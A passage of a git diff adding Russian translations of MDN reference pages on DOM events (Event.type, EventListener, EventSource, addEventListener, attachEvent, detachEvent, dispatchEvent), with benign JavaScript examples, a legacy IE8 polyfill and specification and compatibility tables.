{{EmbedLiveSample("Example", "100%", 100)}}

+ +

Reduced time precision

+ +

To offer protection against timing attacks and fingerprinting, the precision of event.timeStamp might get rounded depending on browser settings.
+ In Firefox, the privacy.reduceTimerPrecision  preference is enabled by default and defaults to 20us in Firefox 59; in 60 it will be 2ms.

+ +
// reduced time precision (2ms) in Firefox 60
+event.timeStamp;
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+event.timeStamp;
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+
+ +

In Firefox, you can also enabled privacy.resistFingerprinting, the precision will be 100ms or the value of privacy.resistFingerprinting.reduceTimerPrecision.microseconds, whichever is larger.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-timestamp", "Event.timeStamp")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-event-timestamp", "Event.timeStamp")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-Event-timeStamp", "Event.timeStamp")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Event.timeStamp")}}

diff --git a/files/ru/web/api/event/type/index.html b/files/ru/web/api/event/type/index.html new file mode 100644 index 0000000000..e9aabbbe88 --- /dev/null +++ b/files/ru/web/api/event/type/index.html @@ -0,0 +1,102 @@ +--- +title: Event.type +slug: Web/API/Event/type +tags: + - API + - DOM + - Event + - Событие + - Ссылка +translation_of: Web/API/Event/type +--- +

{{APIRef}}

+ +

Event.type - это доступное только для чтения свойство, возвращающее строку, содержащую тип события. Оно устанавливается в момент создания события и это имя обычно используется для ссылки на определенное событие.

+ +

Агрумент event функций {{ domxref("EventTarget.addEventListener()") }} и {{ domxref("EventTarget.removeEventListener()") }} не чувствителен к регистру.

+ +

Для получения списка доступных типов событий смотри event reference

+ +

Синтаксис

+ +
event.type
+
+ +

Примеры

+ +
var string = event.type;
+
+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="utf-8">
+
+    <title>Event.type Example</title>
+
+    <script>
+        var currEvent = null;
+
+        function getEvtType(evt) {
+            console.log("//Start------------getEvtType(evt)------------ ");
+
+            currEvent = evt.type;
+            console.log(currEvent);
+
+            //document.getElementById("Etype").firstChild.nodeValue = currEvent;
+            document.getElementById("Etype").innerHTML = currEvent;
+
+            console.log("//End--------------getEvtType(evt)------------ ");
+        }
+
+        //Keyboard events
+        document.addEventListener("keypress", getEvtType, false); //[second]  
+
+        document.addEventListener("keydown", getEvtType, false); //first
+        document.addEventListener("keyup", getEvtType, false); //third
+
+        //Mouse events
+        document.addEventListener("click", getEvtType, false); // third
+
+        document.addEventListener("mousedown", getEvtType, false); //first
+        document.addEventListener("mouseup", getEvtType, false); //second
+
+    </script>
+</head>
+
+<body>
+
+    <p>Press any key or click the mouse to get the event type.</p>
+    <p>Event type: <span id="Etype" style="color:red">-</span></p>
+
+</body>
+</html>
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}}{{ Spec2('DOM WHATWG') }} 
{{SpecName('DOM4', '#dom-event-type', 'Event.type')}}{{ Spec2('DOM4') }} 
{{SpecName('DOM2 Events', '#Events-Event-type', 'Event.type')}}{{ Spec2('DOM2 Events') }}Initial definition.
diff --git a/files/ru/web/api/eventlistener/index.html b/files/ru/web/api/eventlistener/index.html new file mode 100644 index 0000000000..02f50fb594 --- /dev/null +++ b/files/ru/web/api/eventlistener/index.html @@ -0,0 +1,88 @@ +--- +title: EventListener +slug: Web/API/EventListener +translation_of: Web/API/EventListener +--- +

{{APIRef("DOM Events")}}

+ +

Интерфейс EventListener представляет собой объект, который может обработать событие, отправленное объектом {{domxref ("EventTarget")}}.

+ +
+

Note: Из-за необходимости совместимости с унаследованным контентом, EventListener принимает функцию или объект с методом  handleEvent(). Это показано в примере ниже.

+
+ +

Свойства

+ +

Интерфейс не реализует и не наследует никаких свойств.

+ +

Синтаксис

+ + + + + + + +
void handleEvent(in Event event);
+ +

Методы

+ +

handleEvent()

+ +

Этот метод вызывается всякий раз, когда присходит событие того типа, для которого был зарегистрирован интерфейс EventListener.

+ +
void handleEvent(
+  in Event event
+);
+
+ +
Параметры
+ +
+
event
+
Событие DOM {{ domxref("Event") }} для которого регистрируется обработчик.
+
+ +

Примечания

+ +

Поскольку у интерфейса отмечен флаг [function], все объекты JavaScript Function автоматически реализуют этот интерфейс. Вызов метода {{ manch("handleEvent") }} на такой реализации автоматически вызовет эту функцию.

+ + + +

Пример

+ +

HTML

+ +
<button id="btn">Нажми сюда!</button>
+
+ +

JavaScript

+ +
const buttonElement = document.getElementById('btn');
+
+// Добавим обработчик для события "click", предоставив callback.
+// Теперь по клику на элемент будет всплывать подсказка.
+
+buttonElement.addEventListener('click', function (event) {
+  alert('Событие вызвано функцией!');
+});
+
+// Теперь привяжем обработчик через объект, содержащий функцию
+
+buttonElement.addEventListener('click', {
+  handleEvent: function (event) {
+    alert('Событие вызвал handleEvent!');
+  }
+});
+ +

Результат

+ +

{{EmbedLiveSample('Пример')}}

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/eventsource/index.html b/files/ru/web/api/eventsource/index.html new file mode 100644 index 0000000000..85ab4c5bf3 --- /dev/null +++ b/files/ru/web/api/eventsource/index.html @@ -0,0 +1,121 @@ +--- +title: EventSource +slug: Web/API/EventSource +translation_of: Web/API/EventSource +--- +

{{APIRef("Websockets API")}}

+ +

Интерфейс EventSource используется для получения серверных событий (Server-sent events). Он устанавливает соединение с сервером по HTTP и получает события в формате text/event-stream без закрытия соединения.

+ +

Вы можете присвоить атрибуту onmessage JavaScript-функцию для получения нетипизированных сообщений (то есть сообщений без поля event). Вы так же можете вызвать функцию addEventListener() для прослушивания событий так же, как для любого другого источника событий.

+ +

См. Using server-sent events для более детальной информации 

+ +

Методы

+ + + + + + + +
void close();
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
onerror{{ Interface("nsIDOMEventListener") }}JavaScript-функция, вызываемая при появлении ошибки
onmessage{{ Interface("nsIDOMEventListener") }}JavaScript-функция, вызываемая при приходе сообщения без поля event
onopen{{ Interface("nsIDOMEventListener") }}JavaScript-функция, вызываемая после открытия соединения
readyStatelongСостояние соединения, должно иметь одно из значений CONNECTING, OPEN, или CLOSED. Только для чтения
url{{ domxref("DOMString") }}Только для чтения
+ +

В дополение к открытым атрибутам два внутренних атрибута, которые не открыты напрямую:

+ +
+
reconnection time
+
Это время в миллисекундах, используемое для определения продолжительности ожидания после неудачной попытки соединения до повторного соединения
+
last event ID string
+
По-умолчания пустая строка. Сервер может отправлять сообщение с полем id для установки этого значения.
+
+ +

Константы

+ + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
CONNECTING0Соединение устанавливается
OPEN1Соединение открыто, получение событий
CLOSED2Соединение не устанавливается, закрыто, или произошла фатальная ошибка
+ +

Методы

+ +

close()

+ +

Закрывает соединение, если оно существует и устанавливает атрибут readyState в значение CLOSED. Если соединение уже закрыто, этот метод ничего не делает. 

+ +
void close();
+
+ +
Параметры
+ +

Нет

+ +

См. также

+ + + +

Совместимость браузеров

+ +

{{Compat("api.EventSource")}}

+ +
diff --git a/files/ru/web/api/eventtarget/addeventlistener/index.html b/files/ru/web/api/eventtarget/addeventlistener/index.html new file mode 100644 index 0000000000..84d6390438 --- /dev/null +++ b/files/ru/web/api/eventtarget/addeventlistener/index.html @@ -0,0 +1,499 @@ +--- +title: Метод EventTarget.addEventListener() +slug: Web/API/EventTarget/addEventListener +tags: + - DOM + - EventTarget + - addEventListener + - Обработчик + - Событие + - метод +translation_of: Web/API/EventTarget/addEventListener +--- +

{{apiref("DOM Events")}}

+ +

Метод EventTarget.addEventListener() регистрирует определенный обработчик события, вызванного на {{domxref("EventTarget")}}.

+ +

{{domxref("EventTarget")}} может быть {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}, или любым другим объектом, поддерживающим события (таким как XMLHttpRequest).

+ +

Синтаксис

+ +
target.addEventListener(type, listener[, options]);
+target.addEventListener(type, listener[, useCapture]);
+target.addEventListener(type, listener[, useCapture,
+wantsUntrusted {{Non-standard_inline}}]); // только Gecko/Mozilla
+ +

Параметры

+ +
+
type
+
Чувствительная к регистру строка, представляющая тип прослушиваемого события.
+
listener
+
Объект, который принимает уведомление, когда событие указанного типа произошло. Это должен быть объект, реализующий интерфейс {{domxref("EventListener")}} или просто функция JavaScript.
+
+ +
+
options {{optional_inline}}
+
Объект options, который определяет характеристики объекта, прослушивающего событие. Доступны следующие варианты: +
    +
  • capture:  {{jsxref("Boolean")}} указывает, что события этого типа будут отправлены зарегистрированному слушателю listener перед отправкой на EventTarget, расположенный ниже в дереве DOM.
    • +
  • once: {{jsxref("Boolean")}} указывает, что слушатель должен быть вызван не более одного раза после добавления. Если true, слушатель автоматически удаляется при вызове.
    • +
  • passive:  {{jsxref("Boolean")}} указывает, что слушатель никогда не вызовет preventDefault(). Если все же вызов будет произведен, браузер должен игнорировать его и генерировать консольное предупреждение. Пример {{anch("Улучшение производительности прокрутки с помощью passive true")}}
    • +
  • {{non-standard_inline}} mozSystemGroup: {{jsxref("Boolean")}} указывает, что слушатель должен быть добавлен в системную группу. Доступно только в коде, запущенном в XBL или в расширении Chrome.
    • +
+
+
useCapture {{optional_inline}}
+
Если равно true, useCapture указывает, что пользователь желает начать захват. После инициализации захвата все события указанного типа будут отправлены в зарегистрированный listener перед отправкой в какой-либо EventTarget под ним в дереве DOM. События, восходящие вверх по дереву, не будут вызывать слушателей, которым назначено использовать захват. Смотрите DOM Level 3 Events для более детального объяснения. Значение useCapture по умолчанию равно false. +
Note: Для прослушивателей событий прикреплённых к цели события, событие  находиться в целевой фазе, а не в фазах захвата или всплытия. События в целевой фазе инициируют все прослушиватели на элементе в том порядке, в котором они были зарегистрированы независимо от параметра useCapture.
+ +
Note: useCapture не всегда был опциональным. Лучше указывать данный параметр для повышения совместимости.
+
+
wantsUntrusted {{Non-standard_inline}}
+
Если равно true, слушатель будет получать сгенерированные события, посланные со страницы (по умолчанию равно false для chrome и true для обычных веб-страниц). Этот параметр доступен только в Gecko и в основном полезен для использования в дополнениях и самом браузере. Смотрите Взаимодействие между привилегированными и непривилегированными страницами для примеров использования.
+
+ +

Прежде чем использовать определенное значение в объекте options, рекомендуется убедиться, что браузер пользователя поддерживает его, поскольку это дополнение, которое не все браузеры поддерживали исторически.

+ +

Возвращаемое значение

+ +

undefined

+ +

Примечания по использованию

+ +

Обратный вызов прослушивателя событий

+ +

Прослушиватель событий может быть задан либо как функция обратного вызова, либо как объект реализующий {{domxref("EventListener")}}, чей {{domxref("EventListener.handleEvent", "handleEvent()")}} метод служит как функция обратного вызова.

+ +

Сама функция обранного вызова имеет те же параметры и возвращаемое значение что и метод handleEvent(); То есть обратный вызов принимает единственный параметр: объект основанный на {{domxref("Event")}} описывая событие, которое произошло и ничего не возвращая.

+ +

Например, обратный вызов обработчика событий, который может использоваться для обработки {{event("fullscreenchange")}} и {{event("fullscreenerror")}} может выглядеть так:

+ +
function eventHandler(event) {
+  if (event.type == 'fullscreenchange') {
+    /* Переключатель полноэкранного режима */
+  } else /* fullscreenerror */ {
+    /* Ошибка переключателя полноэкранного режима */
+  }
+}
+ +

Безопасная проверка поддержки option

+ +

В более старых версиях спецификации DOM третьим параметром addEventListener было логическое значение, указывающее, следует ли захватывать событие на этапе погружения. Со временем стало ясно, что необходимо больше вариантов. Вместо добавления дополнительных параметров в функцию (усложняя ситуацию при использовании необязательных значений) третий параметр был изменен на объект, который может содержать различные свойства, определяющие значения параметров для настройки слушателя событий.

+ +

Поскольку старые браузеры (а также некоторые не слишком старые браузеры) по-прежнему предполагают, что третий параметр является логическим, возникает необходимость создания своего кода, чтобы разумно обрабатывать этот сценарий. Вы можете сделать это, используя функцию обнаружения для каждого из интересующих вас параметров.

+ +

Например, если вы хотите проверить параметр passive:

+ +
var passiveSupported = false;
+
+try {
+  var options = Object.defineProperty({}, "passive", {
+    get: function() {
+      passiveSupported = true;
+    }
+  });
+
+  window.addEventListener("test", null, options);
+} catch(err) {}
+ +

Этот код создает объект options с геттером для свойства passive, устанавливающим флаг passiveSupported в true, если он вызван. Это означает, что если браузер проверяет значение свойства passive на объекте options, значение passiveSupported будет установлено в true; в противном случае он останется ложным. Затем мы вызываем addEventListener, чтобы настроить фальшивый обработчик событий, указав эти параметры для проверки опций, если браузер распознает объект в качестве третьего параметра.

+ +

Для проверки поддержки использования какой-либо опции можно просто добавить геттер для нее, используя код, подобный тому, что показан выше.

+ +

Если вы хотите добавить прослушиватель событий, использующий параметры, о которых идет речь, вы можете сделать это подобным образом:

+ +
someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+                               ? { passive: true } : false);
+ +

Здесь мы добавляем слушателя для события {{event ("mouseup")}} элемента someElement. Для третьего параметра, если passiveSupported имеет значение true, мы указываем объект options с passive: true; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаем false как значение параметра useCapture.

+ +

Вы можете использовать стороннюю библиотеку, такую как Modernizr или Detect It, чтобы проверить поддержку необходимого свойства.

+ +

Узнайте больше о EventListenerOptions из  Web Incubator Community Group.

+ +

Примеры

+ +

Добавление простого слушателя

+ +

Эти примеры демонстрируют как использовать addEventListener() для наблюдения за щелчками мышкой по элементу.

+ +

HTML Содержимое

+ +
<table id="outside">
+    <tr><td id="t1">один</td></tr>
+    <tr><td id="t2">два</td></tr>
+</table>
+
+ +

JavaScript Содержимое

+ +
// Функция изменяет содержимое t2
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "три") {
+    t2.firstChild.nodeValue = "два";
+  } else {
+    t2.firstChild.nodeValue = "три";
+  }
+}
+
+// Добавляет слушателя событий для таблицы
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+
+ +

В примере выше, modifyText() регистрирует слушателя для события click, используя addEventListener(). Клик в любом месте таблицы будет поднимать обработчик и запускать modifyText().

+ +

Результат

+ +

{{EmbedLiveSample('Add_a_simple_listener')}}

+ +

Если вам нужно передать параметры в слушателя, вы можете использовать анонимные функции.

+ +

Слушатель события с анонимной функцией

+ +

HTML Содержимое

+ +
<table id="outside">
+    <tr><td id="t1">один</td></tr>
+    <tr><td id="t2">два</td></tr>
+</table>
+ +

JavaScript Содержимое

+ +
// Функция, изменяющая содержание t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Функция, добавляющая слушатель к таблице
+el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("четыре")}, false);
+
+ +

Notice that the listener is an anonymous function that encapsulates code that is then, in turn, able to send parameters to the modifyText() function, which is responsible for actually responding to the event.

+ +

Результат

+ +

{{EmbedLiveSample('Event_Listener_with_anonymous_function')}}

+ +

Слушатель события со стрелочной функцией

+ +

HTML

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+ +

JavaScript

+ +
// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Add event listener to table with an arrow function
+var el = document.getElementById("outside");
+el.addEventListener("click", () => { modifyText("four"); }, false);
+ +

Результат

+ +

{{EmbedLiveSample('Event_listener_with_an_arrow_function')}}

+ +

Обратите внимание: несмотря на то, что анонимные и стрелочные функции схожи, они имеют разные значения this.

+ +

Заметки

+ +

Зачем использовать addEventListener?

+ +

addEventListener — это способ зарегистрировать обработчик события, описанный в документации W3C DOM. Вот список преимуществ его использования:

+ + + +

Ниже описан другой, более старый способ регистрации обработчиков.

+ +

Добавление слушателя во время обработки события

+ +

Если EventListener добавлен к EventTarget во время обработки события, он не будет вызван текущими действиями, но может быть вызван на более поздней стадии обработки события, при восходящей обработке.

+ +

Несколько одинаковых слушателей события

+ +

Если зарегистрировано несколько одинаковых EventListener на одном EventTarget с одинаковыми параметрами, дублирующиеся слушатели игнорируются. Так как одинаковые слушатели игнорируются, не требуется удалять их вручную с помощью метода removeEventListener.

+ +

Значение this в обработчике

+ +

Обычно желательно передавать элемент, на котором сработал обработчик события, например, при использовании обобщённых обработчиков для схожих элементов. При добавлении функции при помощи addEventListener() значение переменной this меняется — заметьте, что значение this передаётся в функцию от вызывающего объекта.

+ +

В примере выше значение переменной this внутри modifyText() при вызове событием клика равно таблице 't'. Это противоположно поведению, которое возникает, если обработчик добавлен в HTML-разметке:

+ +
<table id="t" onclick="modifyText();">
+  . . .
+
+ +

Значение переменной this внутри modifyText() при вызове событием клика будет равно ссылке на глобальный (window) объект (или undefined при использовании strict mode)

+ +
Note: В JavaScript 1.8.5 введён метод Function.prototype.bind() , который позволяет указать значение, которое должно быть использовано для всех вызовов данной функции. Он позволяет вам легко обходить ситуации, в которых не ясно, чему будет равно this, в зависимости от того, в каком контексте будет вызвана ваша функция. заметьте, также, что Вам будет необходимо иметь внешню ссылку на слушатель, чтобы Вы могли удалить его позже.
+ +

Пример с использованием bind и без него:

+ +
var Something = function(element) {
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, так как this является элементом
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', так как в this передано значение объекта Something
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+
+ +

Проблема в примере выше заключается в том, что Вы не можете удалить слушатель, вызванный с bind. Другое решение использует специальную функцию handleEvent, чтобы перехватывать любые события:

+ +
var Something = function(element) {
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', так как this является объектом Something
+    switch(event.type) {
+      case 'click':
+        // код обработчика...
+        break;
+      case 'dblclick':
+        // код обработчика...
+        break;
+    }
+  };
+
+  // В этом случае слушатели хранятся в this, а не в this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // Вы можете напрямую удалять слушатели
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+
+ +

Наследство Internet Explorer и attachEvent

+ +

В Internet Explorer младше 9 версии, вы можете использовать attachEvent вместо стандартного addEventListener. Для поддержки IE, пример выше может быть модифицирован следующим образом:

+ +
if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+
+ +

У attachEvent есть недостаток: this будет ссылаться на объект window, а не на элемент, на котором он был вызван.

+ +

Совместимость

+ +

Вы можете обойти методы addEventListener, removeEventListener, Event.preventDefault и Event.stopPropagation не поддерживаемы в IE 8 используя следующий код в начале Вашего скрипта. Этот код подерживает использование handleEvent и события DOMContentLoaded.

+ +
+

Note: useCapture не поддерживается, так как IE 8 не имеет альтернативного метода для этого. Также заметьте, что следующий код только добавляет поддержку IE 8. Также, он работает только при соблюдении стандартов: объявление DOCTYPE страницы обязательно.

+
+ +
(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (listener.handleEvent) {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var counter=0;
+      while (counter<eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this && eventListener.type==type && eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();
+ +

Старый способ регистрации обработчиков событий

+ +

addEventListener() был добавлен в спецификации DOM 2 Events. До этого слушатели добавлялись следующим образом:

+ +
// Передача ссылки на функцию — не добавляйте '()' после него, это вызовет функцию!
+el.onclick = modifyText;
+
+// Использование функционального выражения
+element.onclick = function() {
+  // ... логика функции ...
+};
+
+ +

Этот метод заменяет текущие слушатели события click, если они есть. Тоже самое для других событий и ассоциируемых с ними  обработчиков, таких как blur (onblur), keypress (onkeypress), и так далее.

+ +

Так как это по существу было частью DOM 0, этот метод имеет широкую поддержку и не требует специального кросс-браузерного кода; следовательно, это обычно используется, чтобы добавлять слушатели динамически, если не требуются расширенные возможности addEventListener().

+ +

Вопросы памяти

+ +
var i;
+var els = document.getElementsByTagName('*');
+
+// Случай 1
+for(i=0 ; i<els.length ; i++){
+  els[i].addEventListener("click", function(e){/*некоторые действия*/}, false);
+}
+
+// Случай 2
+function processEvent(e){
+  /*некоторые действия*/
+}
+
+for(i=0 ; i<els.length ; i++){
+  els[i].addEventListener("click", processEvent, false);
+}
+
+
+ +

В первом случае новая (анонимная) функция создаётся при каждом шаге цикла. Во втором случае одна заранее объявленная функция используется как обработчик события. Из этого следует меньшее потребление памяти. Более того, в первом случае, вследствие отсутствия ссылок на анонимные функции, невозможно вызвать element.removeEventListener, потому что нет ссылки на обработчик, в то время, как во втором случае возможно вызвать myElement.removeEventListener("click", processEvent, false).

+ +

Улучшение производительности прокрутки с помощью passive: true

+ +

Значение по умолчанию для параметра passive - false. Начиная с Chrome 56 (desktop, Chrome for Android, Android webview) значение по умолчанию для {{event("touchstart")}} и {{event("touchmove")}} равно true, а вызовы preventDefault() не разрешены. Чтобы отменить это поведение, необходимо установить параметр passive в false (см. пример ниже). Это изменение не позволяет слушателю блокировать показ страницы во время прокрутки пользователя. Демонстрация доступна на сайте разработчиков Google. Обратите внимание, что Edge вообще не поддерживает options, и добавление его без проверки поддержки помешает использовать аргумент useCapture.

+ +
/* Feature detection */
+var passiveSupported = false;
+try {
+    window.addEventListener(
+        "test",
+        null,
+        Object.defineProperty({}, "passive", { get: function() { passiveSupported = true; } }));
+} catch(err) {}
+
+/* Event Listener */
+var elem = document.getElementById('elem');
+elem.addEventListener(
+    'touchmove',
+    function listener() {   /* do something */ },
+    passiveSupported ? { passive: true } : false
+);
+ +

Установка passive не имеет значения для основного события {{event ("scroll")}}, поскольку его нельзя отменить, поэтому его слушатель в любом случае не может блокировать показ страницы.

+ +

Совместимость

+ +
{{Compat("api.EventTarget.addEventListener", 3)}}
+ +

Заметки по Gecko

+ + + +

Заметки по WebKit

+ + + +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}{{Spec2("DOM4")}}
{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.EventTarget.addEventListener", 3)}}

+ +

See also

+ + diff --git a/files/ru/web/api/eventtarget/attachevent/index.html b/files/ru/web/api/eventtarget/attachevent/index.html new file mode 100644 index 0000000000..e7d6f423a4 --- /dev/null +++ b/files/ru/web/api/eventtarget/attachevent/index.html @@ -0,0 +1,93 @@ +--- +title: EventTarget.attachEvent() +slug: Web/API/EventTarget/attachEvent +translation_of: Web/API/EventTarget/addEventListener +--- +

{{APIRef("DOM Events")}}

+ +

{{ Non-standard_header() }}

+ +

Кратко

+ +

Проприетарная альтернатива методу {{domxref("EventTarget.addEventListener()")}} от Microsoft Internet Explorer.

+ +

Синтаксис

+ +
attached = target.attachEvent(eventNameWithOn, callback)
+
+ +
+
target
+
DOM элемент, на который требуется повесить "attachEvent()"
+
eventNameWithOn
+
Название ивента, начинающийся на "on" (так если бы это был колбэк атрибут), чей обработчик должен быть убран. Например, вам следует использовать "onclick" для установки обработчика для данного "click" ивента.
+
callback
+
Функция, вызываемая при появлении ивента на целевом элементе. Функция будет вызвана без аргументов, и с "this", ссылающимся на window object.
+
attached
+
Возвращает "true"если установка была успешна, иначе "false".
+
+ +

Спецификации

+ +

Не является частью спецификации.

+ +

Microsoft содержит описание на MSDN.

+ +

Браузерная совместимость

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{ CompatNo() }}{{ CompatNo() }}6 thru 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

[1]: attachEvent() больше не поддерживается в IE11+. {{domxref("EventTarget.addEventListener()")}} поддерживается в IE9+.

+ +

Смотрите так-же

+ + diff --git a/files/ru/web/api/eventtarget/detachevent/index.html b/files/ru/web/api/eventtarget/detachevent/index.html new file mode 100644 index 0000000000..bf326b32ba --- /dev/null +++ b/files/ru/web/api/eventtarget/detachevent/index.html @@ -0,0 +1,91 @@ +--- +title: EventTarget.detachEvent() +slug: Web/API/EventTarget/detachEvent +translation_of: Web/API/EventTarget/removeEventListener +--- +

{{APIRef("DOM Events")}}

+ +

{{ Non-standard_header() }}

+ +

Кратко

+ +

Это проприетарная альтернатива методу {{domxref("EventTarget.removeEventListener()")}}  в Microsoft Internet Explorer.

+ +

Синтаксис

+ +
target.detachEvent(eventNameWithOn, callback)
+
+ +
+
target
+
DOM елемент, для которого надо убрать обработчик.
+
eventNameWithOn
+
Название ивента, начинающийся на "on" (так если бы это был колбэк атрибут), чей обработчик должен быть убран. Например, вам следует использовать "onclick" для удаления обработчика для данного "click" ивента.
+
callback
+
Функция, которую стоит убрать.
+
+ +

Спецификация

+ +

Не является частью спецификации.

+ +

Microsoft содержит описание на MSDN.

+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{ CompatNo() }}{{ CompatNo() }}6 thru 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

[1]: detachEvent() больше не поддерживается в IE11+. {{domxref("EventTarget.removeEventListener()")}} поддерживается в IE9+.

+ +

Смотрите так-же

+ + diff --git a/files/ru/web/api/eventtarget/dispatchevent/index.html b/files/ru/web/api/eventtarget/dispatchevent/index.html new file mode 100644 index 0000000000..26e049cb28 --- /dev/null +++ b/files/ru/web/api/eventtarget/dispatchevent/index.html @@ -0,0 +1,82 @@ +--- +title: EventTarget.dispatchEvent() +slug: Web/API/EventTarget/dispatchEvent +translation_of: Web/API/EventTarget/dispatchEvent +--- +

{{ ApiRef("DOM Events") }}

+ +

Отправляет событие в общую систему событий. Это событие подчиняется тем же правилам поведения "Захвата" и "Всплывания" как и непосредственно инициированные события.

+ +

Синтаксис

+ +
cancelled = !target.dispatchEvent(event)
+ +

Параметры

+ + + +

Возвращаемое Значение

+ + + +

Метод dispatchEvent генерирует исключение UNSPECIFIED_EVENT_TYPE_ERR, если тип события не был указан при инициализации до вызова метода, или если тип события равен null или пустой строке. Исключения возникающие в обработчиках события работают как неперехваченные исключения; обработчики события отрабатывают во вложенном стеке вызовов: они блокируют вызывающий код до окончания своего выполнения, но исключения не распространяются на вызывающего.

+ +

Заметки

+ +

dispatchEvent является последним шагом для процесса создание => инициализация => диспетчер, который используется для контроля  событий внутри модели выполнения событий.Событие может быть создано используя метод  document.createEvent и инициализировано используя initEvent или другой, более конкретный, метод инициализации, такой как initMouseEvent или initUIEvent.

+ +

Смотрите также  События

+ +

Пример

+ +

Для прочтения примера смотрите Создание и инициирование собственных событий .

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ОписаниеСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}{{ Spec2('DOM WHATWG') }}
